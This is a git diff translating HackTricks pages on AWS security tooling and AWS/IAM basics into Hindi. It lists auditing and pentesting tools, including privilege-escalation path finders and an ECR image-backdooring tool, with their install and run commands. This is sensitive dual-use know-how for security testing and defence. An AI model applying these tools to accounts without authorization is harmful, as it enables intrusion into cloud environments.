+- [**PMapper**](https://github.com/nccgroup/PMapper): प्रिंसिपल मैपर (PMapper) एक स्क्रिप्ट और पुस्तकालय है जो AWS खाते या AWS संगठन के लिए AWS पहचान और पहुंच प्रबंधन (IAM) की कॉन्फ़िगरेशन में जोखिमों की पहचान करने के लिए है। यह एक खाते में विभिन्न IAM उपयोगकर्ताओं और भूमिकाओं को एक निर्देशित ग्राफ के रूप में मॉडल करता है, जो **privilege escalation** के लिए जांच और एक हमलावर द्वारा संसाधन या क्रिया तक पहुंच प्राप्त करने के लिए वैकल्पिक पथों की जांच करने की अनुमति देता है। आप **privesc** पथों को खोजने के लिए उपयोग की जाने वाली **permissions** की जांच कर सकते हैं जो फ़ाइल नामों में `_edges.py` के साथ समाप्त होती हैं [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)
```bash
# Install
pip install principalmapper
@@ -288,10 +277,8 @@ pmapper --profile dev query 'preset privesc *' # Get privescs with admins
pmapper --profile dev orgs create
pmapper --profile dev orgs display
```
-
-- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining is an AWS IAM Security Assessment tool that identifies violations of least privilege and generates a risk-prioritized HTML report.\
- It will show you potentially **over privileged** customer, inline and aws **policies** and which **principals has access to them**. (It not only checks for privesc but also other kind of interesting permissions, recommended to use).
-
+- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining एक AWS IAM सुरक्षा मूल्यांकन उपकरण है जो न्यूनतम विशेषाधिकार के उल्लंघनों की पहचान करता है और एक जोखिम-प्राथमिकता वाली HTML रिपोर्ट उत्पन्न करता है।\
+यह आपको संभावित **over privileged** ग्राहक, inline और aws **policies** दिखाएगा और कौन से **principals को उन तक पहुंच है**। (यह न केवल privesc की जांच करता है बल्कि अन्य प्रकार की दिलचस्प अनुमतियों की भी जांच करता है, उपयोग करने की सिफारिश की जाती है)।
```bash
# Install
pip install cloudsplaining
@@ -303,24 +290,20 @@ cloudsplaining download --profile dev
# Analyze the IAM policies
cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output /tmp/files/
```
+- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack AWS खातों का मूल्यांकन करता है **उपडोमेन हाइजैकिंग कमजोरियों** के लिए, जो कि अलग-अलग Route53 और CloudFront कॉन्फ़िगरेशन के परिणामस्वरूप होती हैं।
+- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): ECR रिपॉजिटरी की सूची -> ECR रिपॉजिटरी खींचें -> इसे बैकडोर करें -> बैकडोर की गई छवि पुश करें
+- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag एक उपकरण है जो **सार्वजनिक Elastic Block Storage (EBS) स्नैपशॉट्स** के माध्यम से उन रहस्यों की **खोज** करता है जो गलती से छोड़े जा सकते हैं।
-- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack assesses AWS accounts for **subdomain hijacking vulnerabilities** as a result of decoupled Route53 and CloudFront configurations.
-- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): List ECR repos -> Pull ECR repo -> Backdoor it -> Push backdoored image
-- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag is a tool that **searches** through public Elastic Block Storage (**EBS) snapshots for secrets** that may have been accidentally left in.
-
-### Audit
-
-- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** CloudSploit by Aqua is an open-source project designed to allow detection of **security risks in cloud infrastructure** accounts, including: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI), and GitHub (It doesn't look for ShadowAdmins).
+### ऑडिट
+- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** CloudSploit द्वारा Aqua एक ओपन-सोर्स प्रोजेक्ट है जिसे **क्लाउड इन्फ्रास्ट्रक्चर** खातों में **सुरक्षा जोखिमों** का पता लगाने के लिए डिज़ाइन किया गया है, जिसमें शामिल हैं: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI), और GitHub (यह ShadowAdmins की तलाश नहीं करता)।
```bash
./index.js --csv=file.csv --console=table --config ./config.js
# Compiance options: --compliance {hipaa,cis,cis1,cis2,pci}
## use "cis" for cis level 1 and 2
```
-
-- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler is an Open Source security tool to perform AWS security best practices assessments, audits, incident response, continuous monitoring, hardening and forensics readiness.
-
+- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler एक ओपन सोर्स सुरक्षा उपकरण है जो AWS सुरक्षा सर्वोत्तम प्रथाओं का आकलन, ऑडिट, घटना प्रतिक्रिया, निरंतर निगरानी, हार्डनिंग और फॉरेंसिक्स तैयारी करने के लिए उपयोग किया जाता है।
```bash
# Install python3, jq and git
# Install
@@ -331,15 +314,11 @@ prowler -v
prowler
prowler aws --profile custom-profile [-M csv json json-asff html]
```
-
-- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox helps you gain situational awareness in unfamiliar cloud environments. It’s an open source command line tool created to help penetration testers and other offensive security professionals find exploitable attack paths in cloud infrastructure.
-
+- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox आपको अपरिचित क्लाउड वातावरण में स्थिति की जागरूकता प्राप्त करने में मदद करता है। यह एक ओपन-सोर्स कमांड लाइन टूल है जिसे पेनटेस्टिंग करने वालों और अन्य आक्रामक सुरक्षा पेशेवरों को क्लाउड अवसंरचना में शोषण योग्य हमले के रास्ते खोजने में मदद करने के लिए बनाया गया है।
```bash
cloudfox aws --profile [profile-name] all-checks
```
-
-- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite is an open source multi-cloud security-auditing tool, which enables security posture assessment of cloud environments.
-
+- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite एक ओपन सोर्स मल्टी-क्लाउड सुरक्षा-ऑडिटिंग उपकरण है, जो क्लाउड वातावरण की सुरक्षा स्थिति का आकलन करने में सक्षम बनाता है।
```bash
# Install
virtualenv -p python3 venv
@@ -350,18 +329,16 @@ scout --help
# Get info
scout aws -p dev
```
+- [**cs-suite**](https://github.com/SecurityFTW/cs-suite): क्लाउड सुरक्षा सूट (python2.7 का उपयोग करता है और अप्रबंधित लगता है)
+- [**Zeus**](https://github.com/DenizParlak/Zeus): Zeus AWS EC2 / S3 / CloudTrail / CloudWatch / KMS के लिए शक्तिशाली उपकरण है जो सर्वोत्तम हार्डनिंग प्रथाओं का उपयोग करता है (अप्रबंधित लगता है)। यह केवल सिस्टम के अंदर डिफ़ॉल्ट कॉन्फ़िगर किए गए क्रेड्स की जांच करता है।
-- [**cs-suite**](https://github.com/SecurityFTW/cs-suite): Cloud Security Suite (uses python2.7 and looks unmaintained)
-- [**Zeus**](https://github.com/DenizParlak/Zeus): Zeus is a powerful tool for AWS EC2 / S3 / CloudTrail / CloudWatch / KMS best hardening practices (looks unmaintained). It checks only default configured creds inside the system.
+### निरंतर ऑडिट
-### Constant Audit
-
-- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian is a rules engine for managing public cloud accounts and resources. It allows users to **define policies to enable a well managed cloud infrastructure**, that's both secure and cost optimized. It consolidates many of the adhoc scripts organizations have into a lightweight and flexible tool, with unified metrics and reporting.
-- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** is a platform for **continuous compliance monitoring, compliance reporting and security automation for the clou**d. In PacBot, security and compliance policies are implemented as code. All resources discovered by PacBot are evaluated against these policies to gauge policy conformance. The PacBot **auto-fix** framework provides the ability to automatically respond to policy violations by taking predefined actions.
-- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert is a serverless, **real-time** data analysis framework which empowers you to **ingest, analyze, and alert** on data from any environment, u**sing data sources and alerting logic you define**. Computer security teams use StreamAlert to scan terabytes of log data every day for incident detection and response.
-
-## DEBUG: Capture AWS cli requests
+- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): क्लाउड कस्टोडियन सार्वजनिक क्लाउड खातों और संसाधनों का प्रबंधन करने के लिए एक नियम इंजन है। यह उपयोगकर्ताओं को **एक अच्छी तरह से प्रबंधित क्लाउड अवसंरचना सक्षम करने के लिए नीतियों को परिभाषित करने** की अनुमति देता है, जो सुरक्षित और लागत अनुकूलित दोनों है। यह संगठनों के पास मौजूद कई अस्थायी स्क्रिप्टों को एक हल्के और लचीले उपकरण में समेकित करता है, जिसमें एकीकृत मैट्रिक्स और रिपोर्टिंग होती है।
+- [**pacbot**](https://github.com/tmobile/pacbot)**: नीति के रूप में कोड बॉट (PacBot)** एक प्लेटफ़ॉर्म है **निरंतर अनुपालन निगरानी, अनुपालन रिपोर्टिंग और सुरक्षा स्वचालन के लिए क्लाउड**। PacBot में, सुरक्षा और अनुपालन नीतियाँ कोड के रूप में लागू की जाती हैं। PacBot द्वारा खोजे गए सभी संसाधनों का इन नीतियों के खिलाफ मूल्यांकन किया जाता है ताकि नीति के अनुपालन का आकलन किया जा सके। PacBot **स्वचालित-फिक्स** ढांचा नीति उल्लंघनों का स्वतः उत्तर देने की क्षमता प्रदान करता है, पूर्व निर्धारित क्रियाएँ करके।
+- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert एक सर्वर रहित, **वास्तविक समय** डेटा विश्लेषण ढांचा है जो आपको **किसी भी वातावरण से डेटा को ग्रहण, विश्लेषण और अलर्ट** करने में सक्षम बनाता है, **डेटा स्रोतों और अलर्टिंग लॉजिक का उपयोग करते हुए जिसे आप परिभाषित करते हैं**। कंप्यूटर सुरक्षा टीमें घटना पहचान और प्रतिक्रिया के लिए हर दिन टेराबाइट्स लॉग डेटा को स्कैन करने के लिए StreamAlert का उपयोग करती हैं।
+## DEBUG: AWS cli अनुरोधों को कैप्चर करें
```bash
# Set proxy
export HTTP_PROXY=http://localhost:8080
@@ -380,14 +357,9 @@ export AWS_CA_BUNDLE=~/Downloads/certificate.pem
# Run aws cli normally trusting burp cert
aws ...
```
-
-## References
+## संदर्भ
- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
- [https://cloudsecdocs.com/aws/defensive/tooling/audit/](https://cloudsecdocs.com/aws/defensive/tooling/audit/)
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/README.md b/src/pentesting-cloud/aws-security/aws-basic-information/README.md
index 02e6e7729..c66840046 100644
--- a/src/pentesting-cloud/aws-security/aws-basic-information/README.md
+++ b/src/pentesting-cloud/aws-security/aws-basic-information/README.md
@@ -8,77 +8,69 @@
### Accounts
-In AWS there is a **root account,** which is the **parent container for all the accounts** for your **organization**. However, you don't need to use that account to deploy resources, you can create **other accounts to separate different AWS** infrastructures between them.
+AWS में एक **root account** है, जो आपके **organization** के लिए सभी खातों का **parent container** है। हालांकि, आपको संसाधनों को तैनात करने के लिए उस खाते का उपयोग करने की आवश्यकता नहीं है, आप **अलग-अलग AWS** बुनियादी ढांचे को अलग करने के लिए **अन्य खाते बना सकते हैं**।
-This is very interesting from a **security** point of view, as **one account won't be able to access resources from other account** (except bridges are specifically created), so this way you can create boundaries between deployments.
+यह **security** के दृष्टिकोण से बहुत दिलचस्प है, क्योंकि **एक खाता अन्य खाते के संसाधनों तक पहुँच नहीं पाएगा** (जब तक कि पुल विशेष रूप से बनाए नहीं गए हैं), इसलिए इस तरह आप तैनाती के बीच सीमाएँ बना सकते हैं।
-Therefore, there are **two types of accounts in an organization** (we are talking about AWS accounts and not User accounts): a single account that is designated as the management account, and one or more member accounts.
+इसलिए, एक संगठन में **दो प्रकार के खाते** होते हैं (हम AWS खातों की बात कर रहे हैं और उपयोगकर्ता खातों की नहीं): एकल खाता जिसे प्रबंधन खाता के रूप में नामित किया गया है, और एक या अधिक सदस्य खाते।
-- The **management account (the root account)** is the account that you use to create the organization. From the organization's management account, you can do the following:
+- **प्रबंधन खाता (root account)** वह खाता है जिसका उपयोग आप संगठन बनाने के लिए करते हैं। संगठन के प्रबंधन खाते से, आप निम्नलिखित कर सकते हैं:
- - Create accounts in the organization
- - Invite other existing accounts to the organization
- - Remove accounts from the organization
- - Manage invitations
- - Apply policies to entities (roots, OUs, or accounts) within the organization
- - Enable integration with supported AWS services to provide service functionality across all of the accounts in the organization.
- - It's possible to login as the root user using the email and password used to create this root account/organization.
+- संगठन में खाते बनाएं
+- संगठन में अन्य मौजूदा खातों को आमंत्रित करें
+- संगठन से खातों को हटाएं
+- आमंत्रण प्रबंधित करें
+- संगठन के भीतर संस्थाओं (roots, OUs, या खातों) पर नीतियाँ लागू करें
+- संगठन में सभी खातों के बीच सेवा कार्यक्षमता प्रदान करने के लिए समर्थित AWS सेवाओं के साथ एकीकरण सक्षम करें।
+- आप इस root account/organization को बनाने के लिए उपयोग किए गए ईमेल और पासवर्ड का उपयोग करके root उपयोगकर्ता के रूप में लॉगिन करना संभव है।
- The management account has the **responsibilities of a payer account** and is responsible for paying all charges that are accrued by the member accounts. You can't change an organization's management account.
-
-- **Member accounts** make up all of the rest of the accounts in an organization. An account can be a member of only one organization at a time. You can attach a policy to an account to apply controls to only that one account.
- - Member accounts **must use a valid email address** and can have a **name**, in general they wont be able to manage the billing (but they might be given access to it).
+प्रबंधन खाते के पास **payer account** की जिम्मेदारियाँ होती हैं और यह सदस्य खातों द्वारा उत्पन्न सभी शुल्कों का भुगतान करने के लिए जिम्मेदार होता है। आप एक संगठन के प्रबंधन खाते को बदल नहीं सकते।
+- **सदस्य खाते** संगठन में बाकी सभी खातों का निर्माण करते हैं। एक खाता एक समय में केवल एक संगठन का सदस्य हो सकता है। आप एक खाते पर नियंत्रण लागू करने के लिए एक नीति संलग्न कर सकते हैं केवल उसी एक खाते पर।
+- सदस्य खातों को **एक मान्य ईमेल पता** का उपयोग करना चाहिए और एक **नाम** हो सकता है, सामान्यतः वे बिलिंग का प्रबंधन नहीं कर पाएंगे (लेकिन उन्हें इसके लिए पहुँच दी जा सकती है)।
```
aws organizations create-account --account-name testingaccount --email testingaccount@lalala1233fr.com
```
-
### **Organization Units**
-Accounts can be grouped in **Organization Units (OU)**. This way, you can create **policies** for the Organization Unit that are going to be **applied to all the children accounts**. Note that an OU can have other OUs as children.
-
+खातों को **Organization Units (OU)** में समूहित किया जा सकता है। इस तरह, आप उस Organization Unit के लिए **policies** बना सकते हैं जो **सभी बच्चों के खातों पर लागू होंगी**। ध्यान दें कि एक OU के पास अन्य OUs भी हो सकते हैं।
```bash
# You can get the root id from aws organizations list-roots
aws organizations create-organizational-unit --parent-id r-lalala --name TestOU
```
-
### Service Control Policy (SCP)
-A **service control policy (SCP)** is a policy that specifies the services and actions that users and roles can use in the accounts that the SCP affects. SCPs are **similar to IAM** permissions policies except that they **don't grant any permissions**. Instead, SCPs specify the **maximum permissions** for an organization, organizational unit (OU), or account. When you attach a SCP to your organization root or an OU, the **SCP limits permissions for entities in member accounts**.
+एक **सेवा नियंत्रण नीति (SCP)** एक नीति है जो उन सेवाओं और क्रियाओं को निर्दिष्ट करती है जिन्हें उपयोगकर्ता और भूमिकाएँ उन खातों में उपयोग कर सकते हैं जिन पर SCP प्रभाव डालता है। SCPs **IAM** अनुमतियों की नीतियों के समान हैं, सिवाय इसके कि वे **कोई अनुमतियाँ नहीं देतीं**। इसके बजाय, SCPs एक संगठन, संगठनात्मक इकाई (OU), या खाते के लिए **अधिकतम अनुमतियों** को निर्दिष्ट करती हैं। जब आप अपने संगठन की जड़ या एक OU पर SCP संलग्न करते हैं, तो **SCP सदस्य खातों में संस्थाओं के लिए अनुमतियों को सीमित करता है**।
-This is the ONLY way that **even the root user can be stopped** from doing something. For example, it could be used to stop users from disabling CloudTrail or deleting backups.\
-The only way to bypass this is to compromise also the **master account** that configures the SCPs (master account cannot be blocked).
+यह **एकमात्र तरीका है कि** **यहाँ तक कि रूट उपयोगकर्ता को भी कुछ करने से रोका जा सकता है**। उदाहरण के लिए, इसका उपयोग उपयोगकर्ताओं को CloudTrail को निष्क्रिय करने या बैकअप हटाने से रोकने के लिए किया जा सकता है।\
+इससे बचने का एकमात्र तरीका यह है कि **मास्टर खाता** भी समझौता किया जाए जो SCPs को कॉन्फ़िगर करता है (मास्टर खाता को अवरुद्ध नहीं किया जा सकता)।
> [!WARNING]
-> Note that **SCPs only restrict the principals in the account**, so other accounts are not affected. This means having an SCP deny `s3:GetObject` will not stop people from **accessing a public S3 bucket** in your account.
+> ध्यान दें कि **SCPs केवल खाते में प्रिंसिपल को प्रतिबंधित करती हैं**, इसलिए अन्य खाते प्रभावित नहीं होते। इसका मतलब है कि एक SCP `s3:GetObject` को अस्वीकार करने से लोगों को आपके खाते में **एक सार्वजनिक S3 बकेट** तक पहुँचने से नहीं रोका जाएगा।
-SCP examples:
+SCP उदाहरण:
-- Deny the root account entirely
-- Only allow specific regions
-- Only allow white-listed services
-- Deny GuardDuty, CloudTrail, and S3 Public Block Access from
+- रूट खाते को पूरी तरह से अस्वीकार करें
+- केवल विशिष्ट क्षेत्रों की अनुमति दें
+- केवल श्वेतसूचीबद्ध सेवाओं की अनुमति दें
+- GuardDuty, CloudTrail, और S3 सार्वजनिक ब्लॉक एक्सेस को निष्क्रिय करने से रोकें
- being disabled
+- सुरक्षा/घटना प्रतिक्रिया भूमिकाओं को हटाने या
-- Deny security/incident response roles from being deleted or
+संशोधित करने से रोकें।
- modified.
+- बैकअप को हटाने से रोकें।
+- IAM उपयोगकर्ताओं और एक्सेस कुंजियों को बनाने से रोकें
-- Deny backups from being deleted.
-- Deny creating IAM users and access keys
-
-Find **JSON examples** in [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html)
+**JSON उदाहरण** [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html) में खोजें
### ARN
-**Amazon Resource Name** is the **unique name** every resource inside AWS has, its composed like this:
-
+**Amazon Resource Name** वह **विशिष्ट नाम** है जो AWS के अंदर हर संसाधन का होता है, यह इस तरह से बना होता है:
```
arn:partition:service:region:account-id:resource-type/resource-id
arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env
```
-
Note that there are 4 partitions in AWS but only 3 ways to call them:
- AWS Standard: `aws`
@@ -86,246 +78,240 @@ Note that there are 4 partitions in AWS but only 3 ways to call them:
- AWS US public Internet (GovCloud): `aws-us-gov`
- AWS Secret (US Classified): `aws`
-## IAM - Identity and Access Management
+## IAM - पहचान और पहुँच प्रबंधन
-IAM is the service that will allow you to manage **Authentication**, **Authorization** and **Access Control** inside your AWS account.
+IAM वह सेवा है जो आपको अपने AWS खाते के भीतर **प्रमाणीकरण**, **अधिकार** और **पहुँच नियंत्रण** प्रबंधित करने की अनुमति देती है।
-- **Authentication** - Process of defining an identity and the verification of that identity. This process can be subdivided in: Identification and verification.
-- **Authorization** - Determines what an identity can access within a system once it's been authenticated to it.
-- **Access Control** - The method and process of how access is granted to a secure resource
+- **प्रमाणीकरण** - एक पहचान को परिभाषित करने और उस पहचान के सत्यापन की प्रक्रिया। इस प्रक्रिया को पहचान और सत्यापन में विभाजित किया जा सकता है।
+- **अधिकार** - यह निर्धारित करता है कि एक पहचान एक प्रणाली के भीतर क्या पहुँच सकती है जब इसे प्रमाणित किया गया हो।
+- **पहुँच नियंत्रण** - सुरक्षित संसाधन तक पहुँच कैसे दी जाती है, इसकी विधि और प्रक्रिया।
-IAM can be defined by its ability to manage, control and govern authentication, authorization and access control mechanisms of identities to your resources within your AWS account.
+IAM को इसकी क्षमता द्वारा परिभाषित किया जा सकता है कि यह आपके AWS खाते के भीतर पहचान के प्रमाणीकरण, अधिकार और पहुँच नियंत्रण तंत्रों का प्रबंधन, नियंत्रण और शासन कर सकता है।
-### [AWS account root user](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html)
+### [AWS खाता रूट उपयोगकर्ता](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html)
-When you first create an Amazon Web Services (AWS) account, you begin with a single sign-in identity that has **complete access to all** AWS services and resources in the account. This is the AWS account _**root user**_ and is accessed by signing in with the **email address and password that you used to create the account**.
+जब आप पहली बार एक Amazon Web Services (AWS) खाता बनाते हैं, तो आप एकल साइन-इन पहचान के साथ शुरू करते हैं जिसके पास खाते में सभी AWS सेवाओं और संसाधनों तक **पूर्ण पहुँच** होती है। यह AWS खाता _**रूट उपयोगकर्ता**_ है और इसे **उस ईमेल पते और पासवर्ड के साथ साइन इन करके एक्सेस किया जाता है जिसका उपयोग आपने खाता बनाने के लिए किया था**।
-Note that a new **admin user** will have **less permissions that the root user**.
+ध्यान दें कि एक नया **व्यवस्थापक उपयोगकर्ता** के पास **रूट उपयोगकर्ता की तुलना में कम अनुमतियाँ होंगी**।
-From a security point of view, it's recommended to create other users and avoid using this one.
+सुरक्षा के दृष्टिकोण से, अन्य उपयोगकर्ताओं को बनाना और इस एक का उपयोग करने से बचना अनुशंसित है।
-### [IAM users](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html)
+### [IAM उपयोगकर्ता](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html)
-An IAM _user_ is an entity that you create in AWS to **represent the person or application** that uses it to **interact with AWS**. A user in AWS consists of a name and credentials (password and up to two access keys).
+एक IAM _उपयोगकर्ता_ एक इकाई है जिसे आप AWS में **उस व्यक्ति या एप्लिकेशन का प्रतिनिधित्व करने के लिए बनाते हैं** जो इसका उपयोग **AWS के साथ बातचीत करने के लिए** करता है। AWS में एक उपयोगकर्ता का नाम और क्रेडेंशियल्स (पासवर्ड और दो तक पहुँच कुंजी) होता है।
-When you create an IAM user, you grant it **permissions** by making it a **member of a user group** that has appropriate permission policies attached (recommended), or by **directly attaching policies** to the user.
+जब आप एक IAM उपयोगकर्ता बनाते हैं, तो आप इसे **अनुमतियाँ** प्रदान करते हैं, इसे एक **उपयोगकर्ता समूह का सदस्य बनाकर** जो उचित अनुमति नीतियों से जुड़ा होता है (अनुशंसित), या **सीधे उपयोगकर्ता पर नीतियाँ संलग्न करके**।
-Users can have **MFA enabled to login** through the console. API tokens of MFA enabled users aren't protected by MFA. If you want to **restrict the access of a users API keys using MFA** you need to indicate in the policy that in order to perform certain actions MFA needs to be present (example [**here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)).
+उपयोगकर्ताओं के पास कंसोल के माध्यम से लॉगिन करने के लिए **MFA सक्षम** हो सकता है। MFA सक्षम उपयोगकर्ताओं के API टोकन MFA द्वारा सुरक्षित नहीं होते हैं। यदि आप **MFA का उपयोग करके उपयोगकर्ताओं की API कुंजियों की पहुँच को प्रतिबंधित करना चाहते हैं** तो आपको नीति में यह इंगित करना होगा कि कुछ क्रियाएँ करने के लिए MFA की आवश्यकता है (उदाहरण [**यहाँ**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html))।
#### CLI
-- **Access Key ID**: 20 random uppercase alphanumeric characters like AKHDNAPO86BSHKDIRYT
-- **Secret access key ID**: 40 random upper and lowercase characters: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (It's not possible to retrieve lost secret access key IDs).
+- **एक्सेस कुंजी आईडी**: 20 यादृच्छिक अपरकेस अल्फ़ान्यूमेरिक वर्ण जैसे AKHDNAPO86BSHKDIRYT
+- **गुप्त एक्सेस कुंजी आईडी**: 40 यादृच्छिक अपर और लोअरकेस वर्ण: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (खोई हुई गुप्त एक्सेस कुंजी आईडी को पुनः प्राप्त करना संभव नहीं है)।
-Whenever you need to **change the Access Key** this is the process you should follow:\
+जब भी आपको **एक्सेस कुंजी बदलने की आवश्यकता हो** तो आपको इस प्रक्रिया का पालन करना चाहिए:\
NAN;_Create a new access key -> Apply the new key to system/application -> mark original one as inactive -> Test and verify new access key is working -> Delete old access key_
-### MFA - Multi Factor Authentication
+### MFA - मल्टी फैक्टर प्रमाणीकरण
-It's used to **create an additional factor for authentication** in addition to your existing methods, such as password, therefore, creating a multi-factor level of authentication.\
-You can use a **free virtual application or a physical device**. You can use apps like google authentication for free to activate a MFA in AWS.
+यह आपके मौजूदा तरीकों, जैसे पासवर्ड, के अतिरिक्त **प्रमाणीकरण के लिए एक अतिरिक्त कारक बनाने** के लिए उपयोग किया जाता है, इस प्रकार, प्रमाणीकरण का एक मल्टी-फैक्टर स्तर बनता है।\
+आप एक **नि:शुल्क वर्चुअल एप्लिकेशन या एक भौतिक उपकरण** का उपयोग कर सकते हैं। आप AWS में MFA सक्रिय करने के लिए मुफ्त में गूगल प्रमाणीकरण जैसे ऐप्स का उपयोग कर सकते हैं।
-Policies with MFA conditions can be attached to the following:
+MFA शर्तों वाली नीतियाँ निम्नलिखित पर संलग्न की जा सकती हैं:
-- An IAM user or group
-- A resource such as an Amazon S3 bucket, Amazon SQS queue, or Amazon SNS topic
-- The trust policy of an IAM role that can be assumed by a user
-
-If you want to **access via CLI** a resource that **checks for MFA** you need to call **`GetSessionToken`**. That will give you a token with info about MFA.\
-Note that **`AssumeRole` credentials don't contain this information**.
+- एक IAM उपयोगकर्ता या समूह
+- एक संसाधन जैसे Amazon S3 बकेट, Amazon SQS कतार, या Amazon SNS विषय
+- एक IAM भूमिका की ट्रस्ट नीति जिसे एक उपयोगकर्ता द्वारा ग्रहण किया जा सकता है
+यदि आप **CLI के माध्यम से पहुँच** करना चाहते हैं एक संसाधन जो **MFA की जाँच करता है** तो आपको **`GetSessionToken`** कॉल करना होगा। यह आपको MFA के बारे में जानकारी के साथ एक टोकन देगा।\
+ध्यान दें कि **`AssumeRole` क्रेडेंशियल्स में यह जानकारी नहीं होती**।
```bash
aws sts get-session-token --serial-number --token-code
```
+As [**यहां कहा गया है**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), कई अलग-अलग मामले हैं जहां **MFA का उपयोग नहीं किया जा सकता**।
-As [**stated here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), there are a lot of different cases where **MFA cannot be used**.
+### [IAM उपयोगकर्ता समूह](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html)
-### [IAM user groups](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html)
+एक IAM [उपयोगकर्ता समूह](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) एक ऐसा तरीका है जिससे **एक समय में कई उपयोगकर्ताओं के लिए नीतियों को संलग्न किया जा सकता है**, जिससे उन उपयोगकर्ताओं के लिए अनुमतियों का प्रबंधन करना आसान हो सकता है। **भूमिकाएँ और समूह समूह का हिस्सा नहीं हो सकते**।
-An IAM [user group](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) is a way to **attach policies to multiple users** at one time, which can make it easier to manage the permissions for those users. **Roles and groups cannot be part of a group**.
+आप एक **पहचान-आधारित नीति को एक उपयोगकर्ता समूह में संलग्न कर सकते हैं** ताकि उपयोगकर्ता समूह में सभी **उपयोगकर्ताओं को नीति की अनुमतियाँ प्राप्त हों**। आप **एक उपयोगकर्ता समूह** को **`Principal`** के रूप में **नीति** (जैसे संसाधन-आधारित नीति) में पहचान नहीं सकते क्योंकि समूह अनुमतियों से संबंधित होते हैं, प्रमाणीकरण से नहीं, और प्रिंसिपल प्रमाणीकरण किए गए IAM संस्थाएँ हैं।
-You can attach an **identity-based policy to a user group** so that all of the **users** in the user group **receive the policy's permissions**. You **cannot** identify a **user group** as a **`Principal`** in a **policy** (such as a resource-based policy) because groups relate to permissions, not authentication, and principals are authenticated IAM entities.
+यहां उपयोगकर्ता समूहों की कुछ महत्वपूर्ण विशेषताएँ हैं:
-Here are some important characteristics of user groups:
+- एक उपयोगकर्ता **समूह** में **कई उपयोगकर्ता हो सकते हैं**, और एक **उपयोगकर्ता** **कई समूहों का सदस्य हो सकता है**।
+- **उपयोगकर्ता समूहों को नेस्ट नहीं किया जा सकता**; वे केवल उपयोगकर्ताओं को शामिल कर सकते हैं, अन्य उपयोगकर्ता समूहों को नहीं।
+- **AWS खाते में सभी उपयोगकर्ताओं को स्वचालित रूप से शामिल करने वाला कोई डिफ़ॉल्ट उपयोगकर्ता समूह नहीं है**। यदि आप ऐसा उपयोगकर्ता समूह रखना चाहते हैं, तो आपको इसे बनाना होगा और प्रत्येक नए उपयोगकर्ता को इसमें असाइन करना होगा।
+- AWS खाते में IAM संसाधनों की संख्या और आकार, जैसे समूहों की संख्या, और एक उपयोगकर्ता जिस समूह का सदस्य हो सकता है, सीमित हैं। अधिक जानकारी के लिए, [IAM और AWS STS कोटा](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html) देखें।
-- A user **group** can **contain many users**, and a **user** can **belong to multiple groups**.
-- **User groups can't be nested**; they can contain only users, not other user groups.
-- There is **no default user group that automatically includes all users in the AWS account**. If you want to have a user group like that, you must create it and assign each new user to it.
-- The number and size of IAM resources in an AWS account, such as the number of groups, and the number of groups that a user can be a member of, are limited. For more information, see [IAM and AWS STS quotas](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html).
+### [IAM भूमिकाएँ](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html)
-### [IAM roles](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html)
